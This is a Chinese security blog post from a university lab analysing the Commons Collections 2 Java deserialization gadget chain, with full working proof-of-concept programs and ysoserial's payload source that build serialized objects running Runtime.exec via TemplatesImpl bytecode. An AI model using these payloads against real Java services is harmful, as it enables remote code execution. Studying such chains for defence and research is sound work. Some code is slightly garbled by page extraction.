Commons Collections 2 Gadget

admin 2022年4月16日16:19:02评论45 views字数 18465阅读61分33秒阅读模式


  • 前文回顾

  • TransformingComparator 利用链

    • TransformingComparator.compare()

    • PriorityQueue.readObject()

    • PriorityQueue.heapify()

    • PriorityQueue.siftDown()

    • PriorityQueue.siftDownUsingComparator()

  • Yoserial 利用链构造分析

    • TemplatesImpl.getTransletInstance()

    • TemplatesImpl.defineTransletClasses()

    • TemplatesImpl.newTransformer()

  • Ending......


Apache Commons 是 Apache软件基金会 的项目,曾隶属于 Jakarta 项目。Commons 的目的是提供可重用的、开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。

在前面的文章中,我们对 Commons Collections 反序列化中 TransformedMap 和 LazyMap 这两条利用链进行了分析。但是当我们查看 ysoserial 中的代码时,会发现有关 Commons Collections 反序列化利用的路径还有很多。在本篇文章中,我们将 ysoserial 中的 Commons Collections 2 这条链子进行分析。

前文回顾

在前文中,我们通过 InvokerTransformer、ConstantTransformer 以及 ChainedTransformer 类构造组合链,成功编写出了一个可以执行命令的 Demo:

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;

public class CCOriginal {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform("test");    // 最终还是需要调用 transform() 方法
    }
}

如下图所示,运行后,成功执行命令并弹出了计算器:

Commons Collections 2 Gadget

但是此时仍然需要手动执行 transform() 方法才能触发攻击。而在实际的反序列化漏洞中,我们要求攻击自动触发,这就需要我们找到一个地方,使其在反序列化过程中自动调用 transform() 方法,例如 readObject() 中。

因此,我们引出了 TransformedMap 和 LazyMap 这两条经典的利用链,并对二者的利用路径进行了详细的分析。除此之外,根据 ysoserial 给出的思路,我们又找到了不一样的利用路径。

TransformingComparator 利用链

TransformingComparator.compare()

org.apache.commons.collections4.comparators.TransformingComparator 类中提供了 compare() 方法,在该方法中对 this.transformer 调用了 transform() 方法,如下图所示:

Commons Collections 2 Gadget
image-20220406090203124

如果我们对 this.transformer 可控,使其指向 ChainedTransformer 类的实例对象,那么就可以利用该方法执行 ChainedTransformer.transform() 方法,并进入之前构造好的 java.lang.Runtime.getRuntime().exec() 调用链。

在上图中国可以看到 TransformingComparator 类的构造方法有两个重载,第一个重载允许传入 Transformer 类型的参数 transformer,然后调用第二个重载,将 transformer 赋给 this.transformer,并且两个构造方法均对外开放。

综上所述,this.transformer 完全可控,我们可以通过将 this.transformer 指向 ChainedTransformer 对象来执行 ChainedTransformer.transform() 方法。大概的 Demo 代码如下所示:

...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
transformingComparator.compare("test","test");

运行后会提示报错,但不影响正常执行命令,如下图所示。关于报错原因我们将在下文中进行分析。

Commons Collections 2 Gadget
image-20220406091359821

那么现在问题来了,如何才能使 TransformingComparator.compare() 方法自动调用呢?这将成为我们后续分析的 “终极目的”。然而,我们并没有在类似 readObject() 方法中找到直接调用 compare() 方法的地方,不过我们在 Java 内置的 PriorityQueue 类中找到了一条不错的出路。

PriorityQueue.readObject()

PriorityQueue 类的 readObject() 方法中调用了一个 heapify() 方法,如下图所示:

Commons Collections 2 Gadget
image-20220406092348793

PriorityQueue.heapify()

跟进 heapify() 方法,发现其调用了 siftDown() 方法:

Commons Collections 2 Gadget
image-20220406092556187

但要进入到 siftDown() 方法还需要 i = (size >>> 1) - 1 >= 0,即 size >= 2。PriorityQueue 中对 size 的描述是 “The number of elements in the priority queue”:

Commons Collections 2 Gadget
image-20220406102602126

PriorityQueue.siftDown()

跟进 siftDown() 方法,发现如果 comparator 变量不为空,将调用 siftDownUsingComparator() 方法:

Commons Collections 2 Gadget
image-20220406092702062

PriorityQueue.siftDownUsingComparator()

跟进 siftDownUsingComparator() 方法,发现最终都会对 comparator 变量调用 compare() 方法:

Commons Collections 2 Gadget
image-20220406092849787

如果 comparator 变量可控,我们可以让它指向前文中构造的 TransformingComparator 对象,那么我们就可以利用 PriorityQueue.siftDownUsingComparator() 方法执行 TransformingComparator.compare() 方法了。而 PriorityQueue.siftDownUsingComparator() 方法将在 PriorityQueue 的对象反序列化时随着 PriorityQueue.readObject() 方法自动调用,那么就可以达到我们的 “终极目的”。

查看 PriorityQueue 类的构造方法,其第 1 个参数用于指定队列的初始容量,第 2 个参数将赋值给 this.comparator,并且该构造方法对外开放,因此 comparator 变量完全可控:

Commons Collections 2 Gadget
image-20220406093815046

因此,我们修改前面的 Demo,可以构造出以下 POC:

package test;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CCOriginal {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, transformingComparator);
        queue.add(1);
        queue.add(2);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(queue);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

运行后提示报错,并且没有输出反序列化 Payload,但是却成功弹出了计算器,如下图所示。这说明在序列化的某个环节中就执行了命令。

Commons Collections 2 Gadget
image-20220406103302385

报错提示 “java.lang.ProcessImpl cannot be cast to java.lang.Comparable”,我们逐一跟进报错,看看到底是哪里出现了问题。

我们在 queue.add(2) 处下断点:

Commons Collections 2 Gadget
image-20220406121818434

步入 PriorityQueue.add() 方法,发现调用了 offer()

Commons Collections 2 Gadget
image-20220406121932518

步入 offer() 方法,最终将调用 siftUp()

Commons Collections 2 Gadget
image-20220406122100098

步入 siftUp() 方法,发现了与前面 siftDown() 方法相似的逻辑:

Commons Collections 2 Gadget
image-20220406122244770

继续步入 siftUpUsingComparator() 方法,在该方法中发现了一处 compare() 方法调用:

Commons Collections 2 Gadget
image-20220406122356653

由于此时 comparator 已被我们设为了 TransformingComparator 对象,因此继续步入将进入到 TransformingComparator.compare() 方法,并从 TransformingComparator.compare() 方法中触发之前构造好的 java.lang.Runtime.getRuntime().exec() 调用链,从而触发命令执行。

Commons Collections 2 Gadget
image-20220406122636029

那么 “java.lang.ProcessImpl cannot be cast to java.lang.Comparable” 报错是如何产生的呢?我们需要回顾 TransformingComparator 的构造方法:

Commons Collections 2 Gadget
image-20220406123120966

发现 this.decorated 最终会被 ComparatorUtils.NATURAL_COMPARATOR 赋值,跟进 ComparatorUtils.NATURAL_COMPARATOR 发现其用来获取一个 ComparableComparator 对象:

Commons Collections 2 Gadget
image-20220406123404046

也就是说当 TransformingComparator.compare() 方法返回时,将调用 ComparableComparator.compare(),如下图所示:

Commons Collections 2 Gadget
image-20220406123706121

此时 this.decorated 指向 ComparableComparator 对象,value1value2 都指向 ProcessImpl 对象。我们继续步入,来到 ComparableComparator.compare() 方法,

Commons Collections 2 Gadget
image-20220406123930216

原因显而易见了,ComparableComparator.compare() 方法传入的参数必须为 Comparable 类型,而我们传入的 ProcessImpl 对象并没有实现 Comparable,导致传入的参数类型错误,从而产生了报错并中断程序的执行。

因此我们要在序列化过程中避免让 PriorityQueue.siftUp() 调用 PriorityQueue.siftUpUsingComparator() 方法:

Commons Collections 2 Gadget
image-20220406124603491

也就是说我们要让 comparator 在序列化时为 null,实例化 PriorityQueue 对象后再通过反射将 comparator 设为 TransformingComparator 对象。

最终我们可以构造出以下 POC:

package test;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue, transformingComparator);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(queue);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

执行 POC 后,将生成序列化数据。虽然再进行反序列化的过程中会报同样的错误,但是再报错前就成功执行命令并弹出了计算器,如下图所示:

Commons Collections 2 Gadget
image-20220407153921721

到此,TransformingComparator 这条利用链就已经分析完毕了,整个 Gadget Chain 的调用过程如下所示:

PriorityQueue.readObject()
    PriorityQueue.heapify()
     PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
    TransformingComparator.compare()
     ChainedTransformer.transform()
         ConstantTransformer.transform()
      InvokerTransformer.transform()
       Method.invoke()
       Class.getMethod()
      InvokerTransformer.transform()
       Method.invoke()
        Runtime.getRuntime()
      InvokerTransformer.transform()
       Method.invoke()
        Runtime.exec()

Yoserial 利用链构造分析

对于 Commons Collections 2 这条链子,ysoserial 引入了 TemplatesImpl 类来承载攻击载荷,与前文的构造原理稍有不同,如下所示:

package ysoserial.payloads;

import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/*
 Gadget chain:
  ObjectInputStream.readObject()
   PriorityQueue.readObject()
    ...
     TransformingComparator.compare()
      InvokerTransformer.transform()
       Method.invoke()
        Runtime.exec()
 */


@SuppressWarnings({ "rawtypes""unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

 public Queue<Object> getObject(final String command) throws Exception {
  final Object templates = Gadgets.createTemplatesImpl(command);
  // mock method name until armed
  final InvokerTransformer transformer = new InvokerTransformer("toString"new Class[0], new Object[0]);

  // create queue with numbers and basic comparator
  final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
  // stub data for replacement later
  queue.add(1);
  queue.add(1);

  // switch method called by comparator
  Reflections.setFieldValue(transformer, "iMethodName""newTransformer");

  // switch contents of queue
  final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
  queueArray[0] = templates;
  queueArray[1] = 1;

  return queue;
 }

 public static void main(final String[] args) throws Exception {
  PayloadRunner.run(CommonsCollections2.classargs);
 }

}

我们暂且抛开 ysoserial 中的 POC 不看,先根据注释中提示的 Gadget chain 尝试自己挖掘一下。你会发现这将是一个非常有趣的过程,这其中涉及到一个新的知识点——JAVAssist。

JAVAssist 是一个开源的、用于分析、编辑和创建 Java 字节码的类库,其可以直接编辑和生成 Java 字节码。使用 JAVAssist,开发者不需要了解虚拟机指令,就能够简单快速地动态改变类的结构或者动态生成类。

JAVAssist 官方给出的描述如下:

Javassist (Java Programming Assistant) makes Java bytecode manipulation simple. It is a class library for editing bytecodes in Java; it enables Java programs to define a new class at runtime and to modify a class file when the JVM loads it. Unlike other similar bytecode editors, Javassist provides two levels of API: source level and bytecode level. If the users use the source-level API, they can edit a class file without knowledge of the specifications of the Java bytecode. The whole API is designed with only the vocabulary of the Java language. You can even specify inserted bytecode in the form of source text; Javassist compiles it on the fly. On the other hand, the bytecode-level API allows the users to directly edit a class file as other editors.

关于 JAVAssist 地具体使用方法请读者自行参考其官方文档,这里不再赘述。

TemplatesImpl.getTransletInstance()

TemplatesImpl 类提供的 getTransletInstance() 方法中存在一处 newInstance() 实例化操作,如下图所示:

Commons Collections 2 Gadget
image-20220407125417491

我们知道,在对类进行 newInstance() 实例化操作时,会首先执行类中的无参数构造方法或 static{} 静态块中的内容,如下图所示。

Commons Collections 2 Gadget
image-20220407130312114

如果我们可以控制 _class[_transletIndex] 的值,使其指向我们精心构造的的类(例如上图中的 evailClass),当进行 newInstance() 实例化时将执行我们预先设定的恶意代码。

TemplatesImpl.defineTransletClasses()

要想成功执行  TemplatesImpl.getTransletInstance() 中的 newInstance(),还需要使 _name 不为 null。此外还将进入到 defineTransletClasses() 方法,我们跟进该方法:

Commons Collections 2 Gadget
image-20220407131037917

可以看到,该方法会调用 defineClass() 方法将 _bytecodes[i] 中的字节码转换成类。并且,如果从这个字节码中得到的类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 类的子类,则将数组索引 i 赋给 _transletIndex

TemplatesImpl 中对 _bytecodes 的描述为 “*Contains the actual class definition for the translet class and any auxiliary classes.*”,是一个由 private 修饰的字节码数组:

Commons Collections 2 Gadget
image-20220407131514649

我们可以通过反射获取 _bytecodes,并将我们精心构造的恶意类的字节码添加到 _bytecodes 中作为一个元素,当调用 TemplatesImpl.getTransletInstance() 方法时,将由 newInstance() 进行实例化,从而执行恶意代码。

接下来我们需要寻找调用 getTransletInstance() 方法的地方。

TemplatesImpl.newTransformer()

TemplatesImpl 类中提供的 newTransformer() 方法用于获取一个 TransformerImpl 对象,在构建 TransformerImpl 对象时会调用 TemplatesImpl.getTransletInstance() 方法:

Commons Collections 2 Gadget
image-20220407132218530

那么问题又来了,如何调用这里的 newTransformer() 方法呢?我们可以利用先前 InvokerTransformer 类里的可控反射。再借助前文中对 TransformingComparator 和 PriorityQueue 组和利用的分析,我们可以构造出以下利用链:

PriorityQueue.readObject()
    PriorityQueue.heapify()
     PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
    TransformingComparator.compare()
     InvokerTransformer.transform()
      Method.invoke()
       TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance() -> newInstance()
         Runtime.getRuntime().exec()

构造的 POC 如下所示,与 ysoserial 给出的 POC 并无本质上的不同:

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws Exception {
        /* 设置通过 InvokerTransformer.transform() 调用 newTransformer() 方法 */
        InvokerTransformer transformers = new InvokerTransformer(
            "newTransformer",
            new Class[0],
            new Object[0]
        );

        TransformingComparator transformingComparator = new TransformingComparator(transformers);
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, transformingComparator);

        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */

        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /*
         * 通过反射获取 PriorityQueue 对象中的 queue 数组,
         * 并将准备好的 TemplatesImpl 对象添加到这个 queue 数组中,
         * 以保证后续执行 InvokerTransformer.transform() 时成功调用 TemplatesImpl 对象中的 newTransformer() 方法
         */

        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(priorityQueue, new Object[]{templatesImpl, 1});

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(priorityQueue);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:

Commons Collections 2 Gadget
image-20220407154019047

Ending......


原文始发于微信公众号(山警网络空间安全实验室):Commons Collections 2 Gadget

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月16日16:19:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Commons Collections 2 Gadgethttps://cn-sec.com/archives/917899.html

发表评论

匿名网友 填写信息